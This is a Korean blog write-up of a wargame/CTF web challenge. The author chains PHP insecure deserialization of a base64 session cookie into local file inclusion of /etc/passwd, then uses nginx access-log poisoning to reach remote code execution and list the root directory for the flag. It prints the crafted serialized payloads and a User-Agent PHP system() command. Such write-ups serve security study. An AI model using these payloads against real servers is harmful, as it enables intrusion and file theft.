티스토리 뷰
처음에 접속하면 위와 같은 웹페이지가 나옵니다. 그리고 제공받은 다운로드 파일에는 dockerfile과 index.html와 index.php 등의 일부 소스코드 파일도 존재합니다.
페이지 자체는 그냥 html 파일로 만들어진 것 같았으며, 서버 언어는 세션 키의 이름이 PHPSESSID 인 것을 보아 php인 것 같고, nginx 서버로 구동되고 있는 것 같았습니다.
그리고 세션 아이디가 base64 디코딩인 되는 것을 확인했습니다.
// Tzo5OiJQYWdlTW9kZWwiOjE6e3M6NDoiZmlsZSI7czoxNToiL3d3dy9pbmRleC5odG1sIjt9 디코딩 결과
O:9:"PageModel":1:{s:4:"file";s:15:"/www/index.html";}
insecure deserialize 취약점이 존재하는 것 같았습니다. 아래는 제공받은 index.php 소스코드입니다.
<?php
spl_autoload_register(function ($name){
if (preg_match('/Model$/', $name))
{
$name = "models/${name}";
}
include_once "${name}.php";
});
if (empty($_COOKIE['PHPSESSID']))
{
$page = new PageModel;
$page->file = '/www/index.html';
setcookie(
'PHPSESSID',
base64_encode(serialize($page)),
time()+60*60*24,
'/'
);
}
$cookie = base64_decode($_COOKIE['PHPSESSID']);
unserialize($cookie);
그리고 아래는 제공받은 PageModel.php 소스코드입니다.
<?php
class PageModel
{
public $file;
public function __destruct()
{
include($this->file);
}
}
위 코드들을 보면 cookie 값이 base64 디코딩이 되고 unserialize 되는 것을 확인할 수 있습니다. unserialize 된 코드는 PageModel 클래스를 호출하고 include 함수에 base64 디코딩된 쿠키 값에 있는 파일 경로를 인자로 넘기게 됩니다. 별도로 파일 경로에 대한 검증 코드가 없기 때문에 LFI 공격에 취약하다는 것을 알 수 있게 해주는 코드입니다.
O:9:"PageModel":1:{s:4:"file";s:11:"/etc/passwd";}
만약 위와 같이 글자 수를 11로, 경로를 /etc/passwd로 변경하고 다시 실행하게 된다면 어떻게 될지 확인해보았습니다. 그러면 아래와 같이 파일의 내용이 확인됨을 알 수 있었습니다.
하지만 플래그는 루트 경로에 존재합니다. 도커 설정 파일들을 보면 알 수 있습니다.
// Dockerfile 파일 내용 중 일부
COPY flag /flag
// entrypoint.sh 파일 내용 중 일부
# Generate random flag filename
mv /flag /flag_`cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 5 | head -n 1`
심지어 플래그 이름이 랜덤한 이름으로 설정되었습니다. 결국 플래그 이름을 직접알아 내야 하는 수밖에 없습니다. 그럼 LFI 취약점 만으로는 알아낼 수가 없고, 직접 ls 명령어를 실행시킬 수 있는 RCE 취약점을 찾아내야했습니다.
그리고 최근에 포렌식를 하다가 알게된 것 중에 비슷한 개념을 찾았습니다. Log Poisoning 이라는 기법으로 LFI 취약점으로부터 RCE 취약점으로까지 이어지게 만들 수 있는 매우 심각한 취약점이라고 합니다. 참고 사이트는 다음과 같습니다.
https://outpost24.com/blog/from-local-file-inclusion-to-remote-code-execution-part-1
우선 access log 파일의 위치는 제공받은 파일에도 나와있다시피 /var/log/nginx/access.log 입니다. 이곳에 웹서버로 요청된 로그가 담겨있을 것입니다.
// O:9:"PageModel":1:{s:4:"file";s:25:"/var/log/nginx/access.log";}
Tzo5OiJQYWdlTW9kZWwiOjE6e3M6NDoiZmlsZSI7czoyNToiL3Zhci9sb2cvbmdpbngvYWNjZXNzLmxvZyI7fQ==
그래서 쿠키값을 위와 같이 변경하고, 엑세스로그에 php 코드가 반사되어 실행될 수 있게 User-Agent 값에 php 코드를 삽입해보았습니다. (URL 값에 넣게 되면 URL 인코딩되었기 때문에 User-Agent 값에 넣었습니다.)
그랬더니 아래와 같이 phpinfo() 가 잘 실행된 것을 확인할 수 있었습니다.
결론적으로 system 함수를 사용하여 flag의 이름을 파악하고 flag 값을 출력하는 것으로 문제를 풀 수 있었습니다.
<?php system("ls -al /"); ?>
// O:9:"PageModel":1:{s:4:"file";s:11:"/flag_lxsmE";} base64 인코딩하면 아래와 같음
Tzo5OiJQYWdlTW9kZWwiOjE6e3M6NDoiZmlsZSI7czoxMToiL2ZsYWdfbHhzbUUiO30=
그리고 다시 쿠키값을 위와 같이 변경해서 flag를 화면에 출력하면 다음과 같습니다. 문제 풀이의 재미를 위하여 가렸습니다.
'보안 > Wargame' 카테고리의 다른 글
[Lord of SQLi] orge Writeup/문제 풀이 (0) | 2021.08.11 |
---|---|
[Lord of SQLi] darkelf Writeup/문제 풀이 (0) | 2021.08.10 |
[Hackthebox] - USB Ripper Writeup(문제풀이) (0) | 2021.08.03 |
[Hackthebox] - Illumination Writeup(문제풀이) (0) | 2021.08.03 |
[Hackthebox CTF] - badRansomware Writeup(문제풀이) (0) | 2021.07.28 |